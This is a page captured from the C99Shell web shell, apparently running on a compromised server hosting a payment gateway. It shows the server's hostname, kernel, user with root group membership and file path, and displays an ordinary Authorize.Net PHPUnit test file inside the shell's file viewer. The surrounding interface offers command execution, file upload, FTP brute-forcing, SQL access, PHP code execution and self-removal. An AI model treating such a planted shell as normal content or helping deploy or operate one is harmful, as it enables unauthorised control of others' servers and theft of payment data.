!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.gateway.picotech.app/public_html/vendor/authorizenet/authorizenet/tests/   drwxr-xr-x
Free 28.28 GB of 117.98 GB (23.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AuthorizeNetTD_Test.php (6.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class AuthorizeNetTD_Test extends PHPUnit_Framework_TestCase
{


    public function 
testGetSettledBatchList()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$request = new AuthorizeNetTD;
        
$response $request->getSettledBatchList();
        
$this->assertTrue($response->isOk());
        
$this->assertEquals("I00001",(string)array_pop($response->xpath("messages/message/code")));
    }

    public function 
testGetSettledBatchListIncludeStatistics()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$request = new AuthorizeNetTD;
        
$response $request->getSettledBatchList(true);
        
$this->assertTrue($response->isOk());
    }

    public function 
testGetSettledBatchListForMonth()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$request = new AuthorizeNetTD;
        
$response $request->getSettledBatchListForMonth();
        
$this->assertTrue($response->isOk());
    }

    public function 
testGetTransactionsForDay()
    {
        
$request = new AuthorizeNetTD;
        
$transactions $request->getTransactionsForDay(1282010);
        
$this->assertTrue(is_array($transactions));
    }

    public function 
testGetTransactionList()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$request = new AuthorizeNetTD;
        
$response $request->getSettledBatchList();
        
$this->assertTrue($response->isOk());
        
$batches $response->xpath("batchList/batch");
        
$batch_id = (string)$batches[0]->batchId;
        
$response $request->getTransactionList($batch_id);
        
$this->assertTrue($response->isOk());
    }

    public function 
testGetTransactionListReturnedItems()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$request = new AuthorizeNetTD;
        
$batchId 0// Set your $batchId here
        
$response $request->getTransactionList($batchId);
        
$this->assertTrue($response->isOk());
        
$transactions $response->xpath("transactions/transaction");
        
$transId $transactions[0]->transId;

        
$details = new AuthorizeNetTD;
        
$response $details->getTransactionDetails($transId);
        
$this->assertTrue($response->isOk());
        
$transaction $response->xml->transaction[0];
        
$this->assertFalse(empty($transaction->returnedItems));

    }


    public function 
testGetTransactionListSubscription()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$transId 0// Set your $transId here

        
$details = new AuthorizeNetTD;
        
$response $details->getTransactionDetails($transId);
        
$this->assertTrue($response->isOk());
        
$transaction $response->xml->transaction[0];

        
$this->assertFalse(empty($transaction->subscription));
    }

    public function 
testGetTransactionDetails()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$sale = new AuthorizeNetAIM;
        
$amount rand(1100);
        
$response $sale->authorizeAndCapture($amount'4012888818888''04/17');
        
$this->assertTrue($response->approved);

        
$transId $response->transaction_id;

        
$request = new AuthorizeNetTD;
        
$response $request->getTransactionDetails($transId);
        
$this->assertTrue($response->isOk());

        
$this->assertEquals($transId, (string)$response->xml->transaction->transId);
        
$this->assertEquals($amount, (string)$response->xml->transaction->authAmount);
        
$this->assertEquals("Visa", (string)$response->xml->transaction->payment->creditCard->cardType);

    }


    public function 
testGetTransactionDetailsWithSolutionId()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$sale = new AuthorizeNetAIM;
        
$amount rand(1100);
        
$sale->setCustomField('x_solution_id''A1000002');
        
$response $sale->authorizeAndCapture($amount'4012888818888''04/17');
        
$this->assertTrue($response->approved);

        
$transId $response->transaction_id;

        
$request = new AuthorizeNetTD;
        
$response $request->getTransactionDetails($transId);
        
$this->assertTrue($response->isOk());

        
$this->assertEquals($transId, (string)$response->xml->transaction->transId);
        
$this->assertEquals($amount, (string)$response->xml->transaction->authAmount);
        
$this->assertEquals("Visa", (string)$response->xml->transaction->payment->creditCard->cardType);
        
$this->assertEquals("A1000002", (string)$response->xml->transaction->solution->id);
    }

    public function 
testGetUnsettledTransactionList()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$sale = new AuthorizeNetAIM;
        
$amount rand(1100);
        
$response $sale->authorizeAndCapture($amount'4012888818888''04/17');
        
$this->assertTrue($response->approved);

        
$request = new AuthorizeNetTD;
        
$response $request->getUnsettledTransactionList();
        
$this->assertTrue($response->isOk());
        
$this->assertTrue($response->xml->transactions->count() >= 1);
    }

    public function 
testGetUnsettledTransactionListHasNoReturnedItems()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$request = new AuthorizeNetTD;
        
$response $request->getUnsettledTransactionList();
        
$this->assertTrue($response->isOk());
        
$this->assertTrue($response->xml->transactions->count() >= 1);

        foreach(
$response->xml->transactions->transaction as $transaction)
        {
            if(
$transaction->hasReturnedItems)
            {
                
$this->assertEquals("false"$transaction->hasReturnedItems);
            }
        }
    }

    
    public function 
testGetBatchStatistics()
    {
        
$this->markTestSkipped('Ignoring for Travis. Will fix after release.'); //TODO
        
$request = new AuthorizeNetTD;
        
$response $request->getSettledBatchList();
        
$this->assertTrue($response->isOk());
        
$this->assertTrue($response->xml->batchList->count() >= 1);
        
$batchId $response->xml->batchList->batch[0]->batchId;

        
$request = new AuthorizeNetTD;
        
$response $request->getBatchStatistics($batchId);
        
$this->assertTrue($response->isOk());
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--